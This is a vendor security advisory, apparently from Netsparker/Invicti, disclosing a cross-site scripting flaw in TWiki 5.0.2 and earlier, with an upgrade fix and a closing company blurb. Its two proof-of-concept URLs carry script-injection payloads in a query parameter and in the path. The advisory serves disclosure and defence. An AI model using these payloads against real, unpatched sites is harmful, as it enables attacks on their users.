Advisory by Netsparker (now Invicti)
Name: XSS vulnerability in TWiki
Software: TWiki 5.0.2 and below.
Vendor
Vulnerability
Researcher: Mesut Timur
Advisory
Description
TWiki® is a flexible, powerful, and easy to use enterprise wiki, enterprise collaboration platform, and web application platform. It is a Structured Wiki, typically used to run a project development space, a document management system, a knowledge base, or any other groupware tool, on an intranet, extranet or the Internet.
Details
Example PoC url is as follows :
http://example.com/do/view/Main/Jump?create=on&newtopic=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%280x0051D1%29%3C/script%3E&template=WebCreateNewTopic&topicparent=3
http://example.com/do/view/TWiki/ATasteOfTWiki?'"--></style></script><script>alert(0x002B48)</script>
You can read the full article about Cross-Site Scripting vulnerabilities from here : /blog/web-security/cross-site-scripting-xss/
Solution
Upgrade to the latest TWiki version (5.1.0).
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
References
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.